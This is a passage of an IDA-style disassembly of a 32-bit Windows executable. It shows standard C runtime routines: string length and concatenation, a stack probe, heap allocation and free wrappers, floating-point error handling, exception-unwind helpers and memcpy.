		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_415D43
		test	ecx, 3
		jnz	short loc_415CFC
		add	eax, 0

loc_415D10:				; CODE XREF: sub_415CF0+Aj
					; sub_415CF0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415D10
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_415D61
		test	ah, ah
		jz	short loc_415D57
		test	eax, 0FF0000h
		jz	short loc_415D4D
		test	eax, 0FF000000h
		jz	short loc_415D43
		jmp	short loc_415D10
; ---------------------------------------------------------------------------

loc_415D43:				; CODE XREF: sub_415CF0+11j
					; sub_415CF0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_415D4D:				; CODE XREF: sub_415CF0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_415D57:				; CODE XREF: sub_415CF0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_415D61:				; CODE XREF: sub_415CF0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_415CF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415D70	proc near		; CODE XREF: sub_4024DC+8p
					; sub_402988+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_415D90

loc_415D7C:				; CODE XREF: sub_415D70+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_415D7C

loc_415D90:				; CODE XREF: sub_415D70+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_415D70	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D9F	proc near		; CODE XREF: sub_402FDD+7Ap
					; sub_402FDD+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_415DB3

loc_415DAB:				; CODE XREF: sub_415D9F+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_415DAB

loc_415DB3:				; CODE XREF: sub_415D9F+Aj
		mov	edx, [esp+arg_4]
		push	esi

loc_415DB8:				; CODE XREF: sub_415D9F+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_415DB8
		pop	esi
		retn
sub_415D9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DC9	proc near		; CODE XREF: sub_403178+220p
					; sub_4033CB+C1p ...

arg_0		= dword	ptr  4

		push	dword_469514
		push	[esp+4+arg_0]
		call	sub_415DDB
		pop	ecx
		pop	ecx
		retn
sub_415DC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DDB	proc near		; CODE XREF: sub_415DC9+Ap
					; sub_4167C5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_415E04

loc_415DE2:				; CODE XREF: sub_415DDB+27j
		push	[esp+arg_0]
		call	sub_415E07
		test	eax, eax
		pop	ecx
		jnz	short locret_415E06
		cmp	[esp+arg_4], eax
		jz	short locret_415E06
		push	[esp+arg_0]
		call	sub_418A68
		test	eax, eax
		pop	ecx
		jnz	short loc_415DE2

loc_415E04:				; CODE XREF: sub_415DDB+5j
		xor	eax, eax

locret_415E06:				; CODE XREF: sub_415DDB+13j
					; sub_415DDB+19j
		retn
sub_415DDB	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E07	proc near		; CODE XREF: sub_415DDB+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_437FAC
		ja	short loc_415E1F
		push	esi
		call	sub_418E53
		test	eax, eax
		pop	ecx
		jnz	short loc_415E3B

loc_415E1F:				; CODE XREF: sub_415E07+Bj
		test	esi, esi
		jnz	short loc_415E26
		push	1
		pop	esi

loc_415E26:				; CODE XREF: sub_415E07+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_46AB20
		call	dword_42114C

loc_415E3B:				; CODE XREF: sub_415E07+16j
		pop	esi
		retn
sub_415E07	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E3D	proc near		; CODE XREF: sub_4033CB+10Ep
					; sub_4033CB+116p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_415E6A
		push	esi
		call	sub_418AFD
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_415E5C
		push	eax
		call	sub_418B28
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_415E5C:				; CODE XREF: sub_415E3D+13j
		push	0
		push	dword_46AB20
		call	dword_421150

loc_415E6A:				; CODE XREF: sub_415E3D+7j
		pop	esi
		retn
sub_415E3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415E6C(double)

sub_415E6C	proc near		; CODE XREF: sub_40465E+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_437D50
		call	sub_419E26
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_415EF2
		call	sub_419CEE
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_415ED5
		cmp	eax, 2
		jle	short loc_415EC7
		cmp	eax, 3
		jnz	short loc_415ED5
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_4195FE
		add	esp, 10h
		jmp	short loc_415F37
; ---------------------------------------------------------------------------

loc_415EC7:				; CODE XREF: sub_415E6C+3Fj
		push	esi
		push	ebx
		call	sub_419E26
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_415F37
; ---------------------------------------------------------------------------

loc_415ED5:				; CODE XREF: sub_415E6C+3Aj
					; sub_415E6C+44j
		fld	[ebp+arg_0]
		fadd	dbl_421670
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_415F2F
; ---------------------------------------------------------------------------

loc_415EF2:				; CODE XREF: sub_415E6C+2Fj
		call	sub_419CB3
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_415F15

loc_415F07:				; CODE XREF: sub_415E6C+ACj
		push	esi
		push	ebx
		call	sub_419E26
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_415F37
; ---------------------------------------------------------------------------

loc_415F15:				; CODE XREF: sub_415E6C+99j
		test	bl, 20h
		jnz	short loc_415F07
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int

loc_415F2F:				; CODE XREF: sub_415E6C+84j
		call	sub_419651
		add	esp, 1Ch

loc_415F37:				; CODE XREF: sub_415E6C+59j
					; sub_415E6C+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_415E6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F3B	proc near		; CODE XREF: sub_4177FA+9p
					; sub_419EEF+21p
					; DATA XREF: ...
		call	sub_415F53
		call	sub_419EEF
		mov	dword_469494, eax
		call	sub_419E9F
		fnclex
		retn
sub_415F3B	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_415F53	proc near		; CODE XREF: sub_415F3Bp
		mov	eax, offset sub_41A2DD
		mov	off_4380CC, offset loc_419F72
		mov	off_4380C8, eax
		mov	off_4380D0, offset sub_419FD8
		mov	off_4380D4, offset sub_419F18
		mov	off_4380D8, offset loc_419FC0
		mov	off_4380DC, eax
		retn
sub_415F53	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F8C	proc near		; CODE XREF: sub_40465E+1Bp
					; sub_40465E+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_415F8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415FB3(double)

sub_415FB3	proc near		; CODE XREF: sub_4046AA+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_437D68
		call	sub_419E26
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_416039
		call	sub_419CEE
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41601C
		cmp	eax, 2
		jle	short loc_41600E
		cmp	eax, 3
		jnz	short loc_41601C
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_4195FE
		add	esp, 10h
		jmp	short loc_41607E
; ---------------------------------------------------------------------------

loc_41600E:				; CODE XREF: sub_415FB3+3Fj
		push	esi
		push	ebx
		call	sub_419E26
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41607E
; ---------------------------------------------------------------------------

loc_41601C:				; CODE XREF: sub_415FB3+3Aj
					; sub_415FB3+44j
		fld	[ebp+arg_0]
		fadd	dbl_421670
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_416076
; ---------------------------------------------------------------------------

loc_416039:				; CODE XREF: sub_415FB3+2Fj
		call	sub_419CB3
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41605C

loc_41604E:				; CODE XREF: sub_415FB3+ACj
		push	esi
		push	ebx
		call	sub_419E26
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41607E
; ---------------------------------------------------------------------------

loc_41605C:				; CODE XREF: sub_415FB3+99j
		test	bl, 20h
		jnz	short loc_41604E
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int

loc_416076:				; CODE XREF: sub_415FB3+84j
		call	sub_419651
		add	esp, 1Ch

loc_41607E:				; CODE XREF: sub_415FB3+59j
					; sub_415FB3+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_415FB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416082	proc near		; CODE XREF: sub_41A74E+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_416082	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_4160B6	proc near		; CODE XREF: sub_41A8FF+199p
					; sub_41AAC3+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_4160B6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4160BD	proc near		; CODE XREF: sub_41A8FF+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_4160BD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4160C4	proc near		; CODE XREF: sub_416276+5Cp
					; sub_41A74E:loc_41A77Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_4160EC
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42010C

loc_4160EC:				; DATA XREF: sub_4160C4+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_4160C4	endp

; ---------------------------------------------------------------------------

loc_416113:				; CODE XREF: .nsp0:00420268j
					; .nsp0:00420285j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41A353
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416149	proc near		; CODE XREF: sub_41A7C9+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41619D
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41AB50
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_416149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41619D	proc near		; DATA XREF: sub_416149+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41A353
		add	esp, 20h
		pop	ebp
		retn
sub_41619D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4161C2	proc near		; CODE XREF: sub_41A595+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_416276
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_416248
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_469534
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0

loc_416248:				; DATA XREF: sub_4161C2+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_416265
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41626E
; ---------------------------------------------------------------------------

loc_416265:				; CODE XREF: sub_4161C2+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_41626E:				; CODE XREF: sub_4161C2+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4161C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416276	proc near		; DATA XREF: sub_4161C2+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_416299
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_4162E6
; ---------------------------------------------------------------------------

loc_416299:				; CODE XREF: sub_416276+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41A353
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_4162D7
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_4160C4

loc_4162D7:				; CODE XREF: sub_416276+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax

loc_4162E6:				; CODE XREF: sub_416276+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_416276	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162EB	proc near		; CODE XREF: sub_41A3EE+C6p
					; sub_41A595+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_416342

loc_416309:				; CODE XREF: sub_4162EB+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_416313
		call	sub_41ABF2

loc_416313:				; CODE XREF: sub_4162EB+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_416328
		cmp	ecx, [eax+8]
		jle	short loc_41632D

loc_416328:				; CODE XREF: sub_4162EB+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_416339

loc_41632D:				; CODE XREF: sub_4162EB+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi

loc_416339:				; CODE XREF: sub_4162EB+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_416309
		mov	eax, [ebp+var_4]

loc_416342:				; CODE XREF: sub_4162EB+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_416356
		cmp	esi, eax
		jbe	short loc_41635B

loc_416356:				; CODE XREF: sub_4162EB+65j
		call	sub_41ABF2

loc_41635B:				; CODE XREF: sub_4162EB+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_4162EB	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416368	proc near		; CODE XREF: sub_41CE08+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_416380
		push	[ebp+arg_0]
		call	sub_42010C

loc_416380:				; DATA XREF: sub_416368+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_416368	endp


; =============== S U B	R O U T	I N E =======================================



sub_416388	proc near		; DATA XREF: sub_4163AA+Ao
					; sub_416412+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4163A9
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4163A9:				; CODE XREF: sub_416388+10j
		retn
sub_416388	endp


; =============== S U B	R O U T	I N E =======================================



sub_4163AA	proc near		; CODE XREF: sub_41A86F+Dp
					; sub_41CE08+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_416388
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_4163C7:				; CODE XREF: sub_4163AA:loc_416402j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_416404
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_416404
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_416402
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41643E
		call	dword ptr [ebx+esi*4+8]

loc_416402:				; CODE XREF: sub_4163AA+44j
		jmp	short loc_4163C7
; ---------------------------------------------------------------------------

loc_416404:				; CODE XREF: sub_4163AA+2Aj
					; sub_4163AA+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4163AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_416412	proc near		; CODE XREF: sub_41A88F+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_416388
		jnz	short locret_416434
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_416434
		mov	eax, 1

locret_416434:				; CODE XREF: sub_416412+10j
					; sub_416412+1Bj
		retn
sub_416412	endp


; =============== S U B	R O U T	I N E =======================================



sub_416435	proc near		; CODE XREF: sub_41AB50+1Ep
					; sub_41AB50+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_437D6C
		jmp	short loc_416448
sub_416435	endp


; =============== S U B	R O U T	I N E =======================================



sub_41643E	proc near		; CODE XREF: sub_4163AA+4Fp
					; sub_41CE08+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_437D6C
		mov	ecx, [ebp+8]

loc_416448:				; CODE XREF: sub_416435+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41643E	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_416458	proc near		; CODE XREF: sub_4046AA+5p
					; sub_40484C+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_416458	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416477	proc near		; CODE XREF: sub_404D21+26p
					; .nsp0:0041FEE5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_415E3D
		pop	ecx
		retn
sub_416477	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416490	proc near		; CODE XREF: sub_404D92+3Ap
					; sub_418B28+2EEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4164B0
		cmp	edi, eax
		jb	loc_416628

loc_4164B0:				; CODE XREF: sub_416490+16j
		test	edi, 3
		jnz	short loc_4164CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4164EC
		rep movsd
		jmp	off_4165D8[edx*4]
; ---------------------------------------------------------------------------

loc_4164CC:				; CODE XREF: sub_416490+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4164E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4164EC+4[eax*4]
; ---------------------------------------------------------------------------

loc_4164E4:				; CODE XREF: sub_416490+46j
		jmp	dword ptr loc_4165E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_4164EC:				; CODE XREF: sub_416490+31j
					; sub_416490+8Ej ...
		jmp	off_41656C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_416500
		dd offset loc_41652C
		dd offset loc_416550
; ---------------------------------------------------------------------------

loc_416500:				; DATA XREF: sub_416490+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4164EC
		rep movsd
		jmp	off_4165D8[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41652C:				; DATA XREF: sub_416490+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
